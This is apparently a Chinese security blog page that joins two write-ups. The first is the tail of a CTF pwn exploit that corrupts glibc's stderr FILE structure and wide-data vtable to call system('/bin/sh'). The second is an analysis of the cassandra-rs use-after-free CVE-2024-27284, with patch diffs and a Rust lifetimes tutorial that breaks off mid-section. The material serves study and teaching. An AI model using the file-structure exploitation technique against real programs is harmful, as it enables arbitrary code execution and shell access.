WFILE_JUMP = 0x2170c0
_IO_WOVERFLOW_OFFSET=0x18
# modify it to system

SYSTEM = 0x50D70
_IO_WFILE_OVERFLOW = 0x086390
# _IO_2_1_stderr_+131 = 0x7f492b71a723
# system  = 0x7f492b54fd70
# system_off = _IO_2_1_stderr_+131  - system = 0x1ca9b3
# minuse to /bin/sh

SYSTEM_OFF = _IO_WFILE_OVERFLOW - SYSTEM
# modified vtable
# IO_wfile_jumps
# _IO_file_jumps - _IO_wfile_jumps + 0x30(offset to seekoff)
# modify vtbale
# modify _wide_data(0xa0)->_IO_read_ptr
# modify _wide_data(0xa0)->_IO_write_ptr
# _wide_data(0xe0)??? no need to modify
# _wide_data->WFILE_JUMP->IO(0x18) 
#  x /40gx (char*)&_IO_2_1_stderr_
# 0xffffffffffffba20
# finally comes to function _IO_switch_to_wget_mode to call
shellcode1 = generate_read(off(STDERR_VTABLE), 0x510) + generate_read(off(LIBC_STDERR+0x28), 0xffffffffffffff00)+ generate_read(off(LIBC_STDERR+0xc0), 0xffffffffffffffff) + generate_read(off(WIDE_DATA), 0xfffffffffffffaf0) + generate_read(off(WIDE_DATA+0x18), 0xfffffffffffffaf0) + generate_read(off(WIDE_DATA+0x20), 0xfffffffffffffa00) + generate_read(off(WIDE_DATA+0x20), 0xffffffffffffff00) + generate_read(off(WIDE_DATA+0xe0), 0xffffffffffffba20) + generate_read(off(LIBC_STDERR+0x18), 0x1ca9b3) + generate_read(off(LIBC_STDERR), 0xff978cd18d43be58) 
# set debug 
debug_shellcode = xor_value_reg(0)
debug_shellcode += nop()
debug_shellcode += nop()

ph.sendline(shellcode1+debug_shellcode)

ph.interactive()

总结

关于题目

• 题目的设计非常有意思，流水线是一种比较实际的场景，这种漏洞模式在真实场景中甚至会存在，具有一定的学习价值
• 漏洞再一次符合了检测与使用错位的概念，这个概念感觉可以具体到一些具体的场景中，然后进行一定的模式匹配

关于Pwn技巧

• 一开始调试的时候，总是着急，结果漏洞看了半天都没看出来在这里，感觉二进制的题目都得耐心做。
• 板子题我本人做的不多，所以调试花了非常多的时间，在这里感谢帮忙一并调试的师傅们~
• 比赛打得不少，积累做的不多，可能积累的方式有点不太对

本文首发于先知平台 https://xz.aliyun.com/t/14345

CVE-2024-27284

漏洞背景

漏洞本身来自一个叫做Casandra-rs的开源库。

Cassandra 是一个开源的分布式数据库管理系统，由 Apache 软件基金会开发和维护。它被设计为具有高度可扩展性和容错性的分布式存储系统，用于处理大规模数据集的高吞吐量和低延迟的应用程序。Cassandra 使用一种称为 CQL（Cassandra Query Language）的查询语言，它类似于 SQL，但具有一些特定于 Cassandra 的扩展和功能。CQL 提供了灵活的数据模型和查询选项，可以满足各种应用程序的需求。 —— 来自Apache

当前库是一个Rust写的库，理论上Rust是很少能出问题的，但是在现实场景中，由于对底层逻辑的操作需求，Rust也不得不引入unsafe关键字对一些底层的内容进行操作。然而一旦引入了unsafe，Rust在编译期间进行的检查就会失效，在这个过程中就会导致漏洞的出现。

Patch分析

根据漏洞公告，可以看到漏洞描述如下

1
2
3

Code that attempts to use an item (e.g., a row) returned by an iterator after the iterator has advanced to the next item will be accessing freed memory and experience undefined behaviour. Code that uses the item and then advances the iterator is unaffected. This problem has always existed.

This is a use-after-free bug, so it's rated high severity. If your code uses a pre-3.0.0 version of cassandra-rs, and uses an item returned by a cassandra-rs iterator after calling next() on that iterator, then it is vulnerable. However, such code will almost always fail immediately - so we believe it is unlikely that any code using this pattern would have reached production. For peace of mind, we recommend you upgrade anyway.

根据描述，我们可以直到这个漏洞的几个特征：

• 漏洞类型为UAF
• 漏洞和迭代器iter有关
• 漏洞的触发和next()有关系

同时可以找到程序的patch在这个位置。其中有一段内容比较关键:

1
2
3
4
5
6
7
8
9
10
11
12
13
14

## Lending iterator API (version 3.0)

Version 3.0 fixes a soundness issue with the previous API. The iterators in the
underlying Cassandra driver invalidate the current item when `next()` is called,
and this was not reflected in the Rust binding prior to version 3.

To deal with this, the various iterators (`ResultIterator`, `RowIterator`,
`MapIterator`, `SetIterator`, `FieldIterator`, `UserTypeIterator`,
`KeyspaceIterator`, `FunctionIterator`, `AggregateIterator`, `TableIterator`,
`ColumnIterator`) no longer implement `std::iter::Iterator`. Instead, since this
is a [lending
iterator,](https://blog.rust-lang.org/2022/11/03/Rust-1.65.0.html#generic-associated-types-gats)
these types all implement a new `LendingIterator` trait. We define this
ourselves because there is currently no widely-used crate that implements it.

观察修复的内容，可以找到大致有两类修复代码：

一类则是增加了生命周期的声明：

1
2
3
4
5
6
7
8
9
10
11

    /// A field's metadata
-   pub struct Field {
+   //
+   // Borrowed from wherever the value is borrowed from.
+   pub struct Field<'a> {
        /// The field's name
        pub name: String,
        /// The field's value
-       pub value: Value,
+       pub value: Value<'a>,
}

另一类则是增加了一些关于生命周期和幽灵数据的声明

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47

    #[derive(Debug)]
-   pub struct RowIterator(pub *mut _CassIterator);
+   pub struct RowIterator<'a>(*mut _CassIterator, PhantomData<&'a _Row>);

-   // The underlying C type has no thread-local state, but does not support access
-   // from multiple threads: https://datastax.github.io/cpp-driver/topics/#thread-safety
-   unsafe impl Send for RowIterator {}
+   // The underlying C type has no thread-local state, and forbids only concurrent
+   // mutation/free: https://datastax.github.io/cpp-driver/topics/#thread-safety
+   unsafe impl Send for RowIterator<'_> {}
+   unsafe impl Sync for RowIterator<'_> {}

-   impl Drop for RowIterator {
+   impl Drop for RowIterator<'_> {
        fn drop(&mut self) {
            unsafe { cass_iterator_free(self.0) }
        }
    }

-   impl iter::Iterator for RowIterator {
-       type Item = Value;

-       fn next(&mut self) -> Option<<Self as Iterator>::Item> {
-           unsafe {
-               match cass_iterator_next(self.0) {
-                   cass_false => None,
-                   cass_true => Some(Value::build(cass_iterator_get_column(self.0))),
-               }
-           }
-       }
-   }

-   impl<'a> Iterator for &'a RowIterator {
-       type Item = Value;
+   impl LendingIterator for RowIterator<'_> {
+       type Item<'a> = Value<'a> where Self: 'a;

-       fn next(&mut self) -> Option<<Self as Iterator>::Item> {
+       fn next(&mut self) -> Option<<Self as LendingIterator>::Item<'_>> {
            unsafe {
                match cass_iterator_next(self.0) {
                    cass_false => None,
                    cass_true => Some(Value::build(cass_iterator_get_column(self.0))),
                }
            }
        }
}

可以看到，这里对类型RowIterator新增了生命周期的定义，并且这个LendingIterator似乎是一个新增的描述概念，作者同样添加到了README中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

## Lending iterator API (version 3.0)

Version 3.0 fixes a soundness issue with the previous API. The iterators in the
underlying Cassandra driver invalidate the current item when `next()` is called,
and this was not reflected in the Rust binding prior to version 3.

To deal with this, the various iterators (`ResultIterator`, `RowIterator`,
`MapIterator`, `SetIterator`, `FieldIterator`, `UserTypeIterator`,
`KeyspaceIterator`, `FunctionIterator`, `AggregateIterator`, `TableIterator`,
`ColumnIterator`) no longer implement `std::iter::Iterator`. Instead, since this
is a [lending
iterator,](https://blog.rust-lang.org/2022/11/03/Rust-1.65.0.html#generic-associated-types-gats)
these types all implement a new `LendingIterator` trait. We define this
ourselves because there is currently no widely-used crate that implements it.

并且修复commit中，作者提到

Make ResultIterator a LendingIterator

换句话说，这些迭代器全部改成了LendingIterator，尤其是这个ResultIterator。那么总结以下，漏洞修复方案大概是：

• 将迭代器由Iterator修改为LendingIterator
• 将数据对象增加生命周期，并且对某些结构体增加幽灵成员以增加生命周期

整体修复全是基于Rust特性进行的操作。为了能够更好的了解这个修复过程发生了什么，我们需要了解rust中关于生命周期的一些概念。熟悉的同学可以直接跳到漏洞分析。

Rust基本特性补充

基础篇

所有权与引用

Rust这门语言之所以被人称之为【安全语言】，是因为Rust在编译期间会做非常多的检查工作。这些检查工作会在编译阶段进行，这就导致rust这个语言非常难以通过编译。因为它一旦通过编译，意味着编译器基本上完成了大部分的检查工作。在这个设计思想下，诞生出了一种用于检测变量是否被多次使用的概念：所有权(Own)

在Rust种，每一个变量都是有所有权的，比如:

1
2
3
4

let s1 = String::from("hello");
let s2 = s1;
// 这里会报错
println!("{}, world!", s1);

在其他语言中，这种写法完全没问题，而对于Rust而言，赋值语句为一种交予所有权的形式，此时s2获得了s1的所有权，上述的赋值过程中，s1将自己的所有权交给了s2，这就意味着从这个时候开始，s1不应被继续使用。从Rust的语法上，我们了解到这个程度即可，但是此时存在一个问题：这个s1的这段是否存在？这里有两种可能的解释

• s1被当场销毁了，同时s2为s1新拷贝的对象
• s1其实没有被销毁，只是编译器在编译阶段不允许我们使用而已

为了验证上述做法，接下来我们简单的定义一个对象Test1，并且实现对应的trait中的Drop接口（就理解成析构函数即可）

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

#[derive(Debug)]
pub struct Test1 {
    n1: u32
}

impl Drop for Test1 {
    fn drop(&mut self) {
        println!("Drop for test1111");
    }
}

impl Test1 {
    
    pub fn new() -> Test1 {
        Test1 {n1:1}
    }
}

fn main() {
        
    // let test2;
    let test1 = Test1::new();
    let test2 = test1;

    println!("Test1 is {:?}", test2);
}

运行这段代码的结果如下:

1
2

Test1 is Test1 { n1: 1 }
Drop for test1111

可以看到，此时test1真正被销毁的时候是在整个main函数结束的时候。也就是说，在这段代码执行的时候，至始至终只创建了一个对象。对于Rust而言，每一个变量的生命周期本质上和C类似，是以大括号为边界，在离开大括号后被销毁。
然而Rust编译器并非是按照二进制层面的生命周期进行考虑，而是有一套自定义的规矩。这意味着，即便从二进制角度上看，这里的test1和test2指代的依然是同一个对象，但是Rust编译器认为，当所有权发生从test1变为test2的时候，此时就不该使用test1对象，应当将其当作被销毁而不再使用。

如果此时想要描述test1和test2是同一个对象，那么可以使用一个叫做引用的概念:

1
2
3
4

let test1 = Test1::new();
let test2 = &test1;

println!("Test1 is {:?}", test1);

如果这样声明，此时相当于告知编译器，test2本质上将会使用test1对象中的内容，此时程序将不会报错。
同时，从二进制角度上看，上述两端代码编译的结果完全没变。这也说明了Rust中新增的许多特性本质上是从编译阶段杜绝漏洞的出现，而非通过代码膨胀的方式新增防护策略

生命周期

当聊到Rust针对引用展开的保护时，本质上聊的其实是引用对象的生命周期。官方的说法为

every reference in Rust has a lifetime, which is the scope for which that reference is valid.

对于生命周期的检查，官方使用借用检查Borrow Checker（借调者检查）来比较生命周期的长度。例如一个常见的问题：

1
2
3
4
5
6
7

let test2;
{
    let test1 = Test1::new();
    test2 = &test1;
}

println!("Test1 is {:?}", test2);

此时test2获取了test1的引用，但是实际上在离开大括号范围后，test1就会被销毁，而我们test2却依然握着这个引用，显然是不合理的。此时rust就会报错，提示被借用的值之后依然被引用了:

1
2
3
4
5
6
7
8
9
10
11
12

error[E0597]: `test1` does not live long enough
   --> src/main.rs:226:17
    |
225 |         let test1 = Test1::new();
    |             ----- binding `test1` declared here
226 |         test2 = &test1;
    |                 ^^^^^^ borrowed value does not live long enough
227 |     }
    |     - `test1` dropped here while still borrowed
228 |
229 |     println!("Test1 is {:?}", test2);
    |                               ----- borrow later used here